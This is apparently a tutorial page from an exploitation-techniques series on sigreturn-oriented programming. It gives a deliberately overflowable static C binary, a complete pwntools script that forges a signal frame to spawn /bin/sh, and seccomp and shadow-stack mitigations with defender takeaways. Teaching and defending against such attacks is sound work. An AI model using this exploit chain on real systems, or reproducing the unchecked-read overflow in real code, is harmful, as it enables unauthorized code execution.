Skip to content

SROP: Exploiting with a Fake Signal Frame

When gadgets are scarce, forge a signal frame. A sigreturn syscall restores every register from the stack at once — build one with pwntools to call execve, then see how seccomp and CET respond.

Published on 4 min read

This is the eighth walkthrough in the Exploitation Techniques area. The ROP guide needed a pop gadget for every register. Sometimes those gadgets simply are not there — a tiny statically linked binary, a stripped payload, a constrained environment. Sigreturn-oriented programming (SROP) solves that with a single, powerful trick: abuse the kernel's signal-restore path to load every register from the stack at once.

Your own binary, disposable lab. See the lab rules.

How sigreturn hands you every register

When the kernel delivers a signal, it saves the full CPU state into a sigcontext frame on the stack. When the handler returns, the C library calls the rt_sigreturn syscall, and the kernel restores all registers from that frame — rax, rdi, rsi, rdx, rsp, rip, everything.

Crucially, the kernel does not check that the frame is genuine. If we can:

  1. place a forged sigcontext frame on the stack, and
  2. set rax = 15 (the rt_sigreturn syscall number) and execute a syscall instruction,

then the kernel loads every register from our frame. We get total register control from two ingredients most binaries contain.

The classic use is to set up a direct execve("/bin/sh", 0, 0): point the frame's rip at a syscall instruction and preload rax=59, rdi=&"/bin/sh", rsi=rdx=0.

The target

A binary with a big overflow but deliberately few gadgets:

/* vuln.c — large controlled write, minimal gadgets. Build static. */
#include <unistd.h>

int main(void) {
    char buf[64];
    read(0, buf, 1024);      /* huge overflow, plenty of room for a frame */
    return 0;
}
gcc -static -fno-stack-protector -no-pie -O0 -g -o vuln vuln.c

We need two things in the binary: a way to set rax = 15, and a syscall. In a static binary a syscall ; ret exists, and a pop rax ; ret is common. If pop rax is missing, SROP has its own bootstrap: many binaries reach rt_sigreturn because a preceding syscall (like read) returns its byte count in rax — arrange for read to return 15 and you have set rax without any gadget at all.

Building the frame with pwntools

pwntools models the frame directly with SigreturnFrame, so we do not hand-pack the sigcontext layout:

# srop.py
from pwn import *

context.binary = elf = ELF("./vuln")
context.arch = "amd64"

pop_rax = 0x4XXXXX     # ROPgadget --binary vuln | grep 'pop rax ; ret'
syscall = 0x4XXXXX     # ROPgadget --binary vuln | grep ': syscall'
binsh   = next(elf.search(b"/bin/sh\x00"))   # or write one into .bss first

frame = SigreturnFrame()
frame.rax = constants.SYS_execve   # 59
frame.rdi = binsh                  # "/bin/sh"
frame.rsi = 0                      # argv = NULL
frame.rdx = 0                      # envp = NULL
frame.rip = syscall                # after restore, execute a syscall
frame.rsp = 0                      # not needed for execve

payload  = b"A" * 72               # offset to return address
payload += p64(pop_rax) + p64(15)  # rax = 15 (rt_sigreturn)
payload += p64(syscall)            # trigger sigreturn -> kernel restores frame
payload += bytes(frame)            # the forged sigcontext the kernel loads from

io = process("./vuln")
io.send(payload)
io.interactive()
$ python3 srop.py
[*] Switching to interactive mode
$ id
uid=1000(lab) gid=1000(lab)

The flow: the function returns into pop rax ; ret (setting rax=15), then into syscall, which — because rax is 15 — is rt_sigreturn. The kernel restores every register from the frame we appended, landing rip on a syscall with rax=59 and the execve arguments already loaded. One syscall gave us control of the entire register file.

If "/bin/sh" is not present

Preface the SROP with a small chain that reads "/bin/sh" into a known .bss address (an SROP frame can itself set up a read, then chain a second sigreturn), or use mprotect via the frame to make a region executable and jump to shellcode. SROP composes with itself: each frame can set up the next syscall.

Turn the mitigations back on

Shadow stack / CET

SROP still starts with a hijacked return (into pop rax). A shadow stack (-fcf-protection=full) detects that corrupted return and aborts before any of this runs. SROP does not change the backward-edge story — it only changes what you do after seizing control.

seccomp

Because SROP so often targets execve, a seccomp filter that denies execve/execveat (common in sandboxes and modern daemons) blocks the payoff even if register control succeeds. The attacker is then pushed toward open/read/write (an "open-read-write" chain) — more work, and visible if you monitor syscalls.

/* Sketch: a seccomp allowlist rejecting execve turns the SROP shell into EPERM. */
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read),  0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit),  0);
seccomp_load(ctx);   /* execve now kills the process */
MitigationEffect on SROP
Stack canary / PIESame as any ROP: stop or hide the initial hijack
Shadow stack / CETAborts the return that bootstraps the frame
seccomp (deny execve)Register control still happens, but the shell syscall is refused

What this teaches a defender

  • Gadget scarcity is not a defence. "There aren't enough gadgets for ROP" is a comforting but false sense of safety: SROP needs only syscall and a way to set rax. Do not treat a small binary as unexploitable.
  • seccomp is high-value for exposed services. It does not stop memory corruption, but it caps the blast radius — an attacker with full register control still cannot execve if the policy forbids it. Sandbox parsers and network daemons.
  • Backward-edge protection is the common thread. Shadow stacks / CET (and ARM PAC) keep breaking every technique in this series at the same point: the return that starts it. If you ship native code, this is the mitigation to prioritise.

Key takeaways

  • rt_sigreturn restores every register from an unverified stack frame; forging one grants total register control.
  • SROP needs only a syscall instruction and a way to set rax = 15 — far less than a per-register gadget chain.
  • pwntools' SigreturnFrame builds the sigcontext; append it after triggering sigreturn and the kernel loads it.
  • Shadow stacks stop the bootstrap return; seccomp denies the execve payoff. Gadget scarcity alone protects nothing.

Next: ret2csu, a different answer to missing gadgets that borrows a universal one from the C runtime's startup code.

Related guides

0x8000 · ARM64 Exploitation

ROP on ARM64: Gadgets and the Link Register

AArch64 gadgets end in ret, which branches to x30 — so the chain is threaded through the link register with ldp gadgets. Build a system("/bin/sh") chain, then watch PAC and BTI break it.

0x7000 · Exploitation Techniques

Seccomp Sandboxes and the open-read-write Chain

A seccomp policy that bans execve takes the shell off the table, so attackers switch goals: open the flag, read it, write it back. Build the ORW chain, and see what a tighter policy stops.

0x7000 · Exploitation Techniques

ret2csu: Borrowing the Runtime's Universal Gadget

No pop rdx gadget? The C runtime's startup code has a universal sequence that loads several registers and makes a controlled call. Build it with pwntools, and see where it's gone.